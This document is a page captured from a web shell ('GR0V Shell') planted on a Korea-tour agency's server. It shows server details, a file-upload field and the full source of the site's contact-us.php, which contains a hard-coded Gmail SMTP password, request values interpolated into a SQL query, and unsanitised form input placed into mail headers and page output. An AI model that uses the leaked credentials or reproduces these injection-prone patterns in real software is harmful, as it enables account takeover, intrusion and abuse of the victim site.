? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/
File Upload :
Current File : /home/admin/public_html/contact-us.php

<?
ini_set('session.bug_compat_warn', 0);
ob_start();
session_start();
require_once('config.php');
require_once('libs/global.php');
require_once('libs/MySql.php');
require_once('libs/function.php');
require_once('modules/users/mod_user.php');
require_once('libs/backoff_ajax.php');
require_once('libs/backoff.php');
require_once('libs/menuTree.php');
require_once('libs/xajax/xajax.inc.php');
require_once('libs/xajax/xajaxExtend.php');
$db=new MySql;
$_SESSION["user_login"];
$user=new user();
if($user_login['Login']!=""){
		//require_once("admin.php");
}else{
		require_once("modules/users/com_login.php");

		if(!isset($mod)){
		$mod=$_GET['mod'];
		}else if($mod==""){
		$mod=$_POST['mod'];
		}
}
?>
<?
$topic_id="201610092110307";
$data=$db->getDataOneRow('contents',$topic_id,'ContentID');
$_GET['id'] = $data['ContentID'];
$_GET['title'] = $data['ContentMetaTitle'];
$_GET['keyword'] = $data['ContentMetaKeyword'];
$_GET['description'] = $data['ContentMetaDescription'];
$_GET['picture'] = $db->getRow('contents_photo',"WHERE ContentID  ='{$_GET['id']}' ORDER BY id_p DESC ");
if($_GET['title']=="")
{
	$_GET['title']="Happy Korea ทัวร์เกาหลี เที่ยวเกาหลี อย่างมีคุณภาพ";
}
if($_GET['description']=="")
{
	$_GET['description']="ทัวร์เกาหลี เที่ยวเกาหลี อย่างมีคุณภาพ สัมผัสการท่องเที่ยวเกาหลีเหนือระดับ พร้อมราคาสุดพิเศษ  สนใจติดต่อ 02-539-5770";
}
if($_GET['keyword']=="")
{
	$_GET['keyword']="ทัวร์เกาหลี,เที่ยวเกาหลี,แพคเกจทัวร์เกาหลี,ทัวร์ดูงานสัมนาเกาหลี,ทัวร์คุณภาพเกาหลี";
}
if($_GET['picture']=="")
{
	$_GET['picture']="http://www.happytokorea.com/img/logo.jpg";
}
else
{
	$_GET['picture']="http://www.happytokorea.com/backend/images/ContentPhoto/".$_GET['picture'];
}
?>
<?php
header("Content-Type:text/html; charset=utf-8");
//If the form is submitted
if(isset($_POST)){
if(isset($_POST['c1'])) {
//	print_r($_POST);
	//Check to make sure that the name field is not empty
	if($_POST['c1'] == '') {
		$hasError = true;
		echo '<script type="text/javascript">alert("กรุณาใส่เรื่อง");</script>' ;
	}
	if($_POST['c2'] == '') {
		$hasError = true;
		echo '<script type="text/javascript">alert("กรุณาใส่ชื่อ-นามสกุล");</script>' ;
	}

	//Check to make sure that the subject field is not empty

	$subject = 'ฟอร์มติดต่อเรา : '.$_POST['c1'];


	//Check to make sure sure that a valid email address is submitted
	if(trim($_POST['c4']) == '')  {
		$hasError = true;
		echo '<script type="text/javascript">alert("กรุณาใส่อีเมล์");</script>' ;
	} else if (!preg_match("/^[A-Z0-9._%-]+@[A-Z0-9._%-]+\.[A-Z]{2,4}$/i", trim($_POST['c4']))) {
		$hasError = true;
		echo '<script type="text/javascript">alert("อีเมล์ไม่ถูกต้อง");</script>' ;
	}

	//If there is no error, send the email
	if(!isset($hasError)) {

		require_once('class.phpmailer.php');
	$mail = new PHPMailer();
	$mail->IsHTML(true);
	$mail->IsSMTP();
	$mail->SMTPAuth = true; // enable SMTP authentication
	$mail->SMTPSecure = "ssl"; // sets the prefix to the servier
	$mail->Host = "smtp.gmail.com"; // sets GMAIL as the SMTP server
	$mail->Port = 465; // set the SMTP port for the GMAIL server
	$mail->Username = "systemsentmail@gmail.com"; // GMAIL username
	$mail->Password = "1234system"; // GMAIL password
	$mail->CharSet = "utf-8";  // ในส่วนนี้ ถ้าระบบเราใช้ tis-620 หรือ windows-874 สามารถแก้ไขเปลี่ยนได้
	$mail->From = $_POST['c4']; // "name@yourdomain.com";
	$mail->AddReplyTo = "sendmailsystem57@gmail.com"; // Reply
	$mail->FromName = $_POST['c2']." E-mail :".$_POST['c4'];  // set from Name
	$mail->Subject = "ฟอร์มติดต่อเรา : ".$_POST['c1'];

	$mail->Body .= "<span style=\"font-size:14px; color: #118DCD;\"><strong>เรื่อง : </strong></span>{$_POST['c1']}<br />";
	$mail->Body .= "<span style=\"font-size:14px; color: #118DCD;\"><strong>ชื่อ-นามสกุล : </strong></span>{$_POST['c2']}<br />";
	$mail->Body .= "<span style=\"font-size:14px; color: #118DCD;\"><strong>เบอร์โทร : </strong></span>{$_POST['c3']}<br />";
	$mail->Body .= "<span style=\"font-size:14px; color: #118DCD;\"><strong>อีเมล์ : </strong></span>{$_POST['c4']}<br />";
	$mail->Body .= "<span style=\"font-size:14px; color: #118DCD;\"><strong>รายละเอียด : </strong></span>{$_POST['c5']}<br />";


	$mail->AddAddress("sale02happykorea@gmail.com"); // to Address
	$mail->set('X-Priority', '1'); //Priority 1 = High, 3 = Normal, 5 = low
	$mail->AddAddress("happykoreateam@gmail.com"); // to Address
	$mail->set('X-Priority', '3'); //Priority 1 = High, 3 = Normal, 5 = low

	if($mail->Send())
{
			$_POST['c1'] = '';
			$_POST['c2'] = '';
			$_POST['c3'] = '';
			$_POST['c4'] = '';
			$_POST['c5'] = '';
			echo '<script type="text/javascript">alert("ข้อมูล ของคุณส่งถึง happytokorea Agent เรียบร้อยแล้ว ขอบคุณค่ะ");</script>' ;
}else{
			$emailSent = false;
			echo '<script type="text/javascript">alert("error sending email");</script>' ;
		}
	}
}
}// isset post
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title><? echo $_GET['title'];?></title>
<meta name="description" content="<? echo $_GET['description'];?>"  />
<meta name="keywords" content="<? echo $_GET['keyword'];?>" />
<meta name="author" content="happytokorea.com">
<meta name="robots" content="index,follow" />
<meta property="fb:app_id" content="1776597142590251"/>
<link rel="image_src" href="http://www.happytokorea.com/img/logo.jpg" />
<!-- FB Meta Tag -->
<meta property="og:type" content="website" />
<meta property="og:title" content="<? echo $_GET['title'];?>" />
<meta property="og:description" content="<? echo $_GET['description'];?>" />
<meta property="og:image" content="<? echo $_GET['picture'];?>" />
<? require_once('ui.php');?>
</head>

<body>

<!-- header -->
<? require_once('header.php');?>
<!-- จบ header -->

<!-- content -->
<div class="container">
  <div class="row">
    <div class="col-md-12 col-main">
      <div class="content-box">
        <div class="title">
          <div class="text1">ติดต่อเรา <img src="img/icon_contact-us.png" alt=""></div>
        </div>
      </div>
      <div class="detail" style="margin-top: 20px;">
        <div class="col-md-7 col-xs-12">
          <form class="form-horizontal" action="" id="webForm2" method="post" name="webForm2">
            <div class="form-group">
              <label for="" class="col-sm-2 control-label">เรื่อง</label>
              <div class="col-sm-10">
                <input name="c1" type="text" class="form-control" id="c1" placeholder="">
              </div>
            </div>
            <div class="form-group">
              <label for="" class="col-sm-2 control-label">ชื่อ-นามสกุล</label>
              <div class="col-sm-10">
                <input name="c2" type="text" class="form-control" id="c2" placeholder="">
              </div>
            </div>
            <div class="form-group">
              <label for="" class="col-sm-2 control-label">เบอร์โทร</label>
              <div class="col-sm-10">
                <input name="c3" type="text" class="form-control" id="c3" placeholder="">
              </div>
            </div>
            <div class="form-group">
              <label for="" class="col-sm-2 control-label">อีเมล์</label>
              <div class="col-sm-10">
                <input name="c4" type="text" class="form-control" id="c4" placeholder="">
              </div>
            </div>
            <div class="form-group">
              <label for="" class="col-sm-2 control-label">รายละเอียด</label>
              <div class="col-sm-10">
                <textarea name="c5" rows="7" class="form-control" id="c5"></textarea>
              </div>
            </div>
            <div class="form-group">
              <div class="col-sm-offset-2 col-sm-10">
                <button type="submit" class="btn btn-default">ส่งข้อมูล</button>
              </div>
            </div>
          </form>
          <iframe align="center" width="100%" height="380" src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d1151.9305559076604!2d100.60787535531799!3d13.801940890044596!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x30e29d92ed61ee61%3A0x97bb49c4481d4510!2sK.T.C.C+Co.%2CLtd!5e0!3m2!1sen!2sth!4v1488365722859" frameborder="0" style="border:0" allowfullscreen=""></iframe>"
        </div>
        <div class="col-md-5 col-xs-12">
          <div><img src="img/ktccbuliding2.jpg" class="img-responsive"alt=""></div>
          <div class="contact-address"><?=$data['ContentDetail'];?></div>
        </div>
      </div>
    </div>
  </div>
</div>
<!-- จบ content -->

<!-- footer -->
<? require_once('footer.php');?>
<!-- จบ footer -->

<!-- เมนู social -->
<? require_once('menu-social.php');?>
<!-- จบ เมนู social -->

<!-- ลูกศรเลือนขึ้น -->
<? require_once('go-to-top.php');?>
<!-- จบ ลูกศรเลือนขึ้น -->

<? require_once('script.php');?>
</body>
</html>

T1KUS90T
  root-grov@210.1.60.28:~$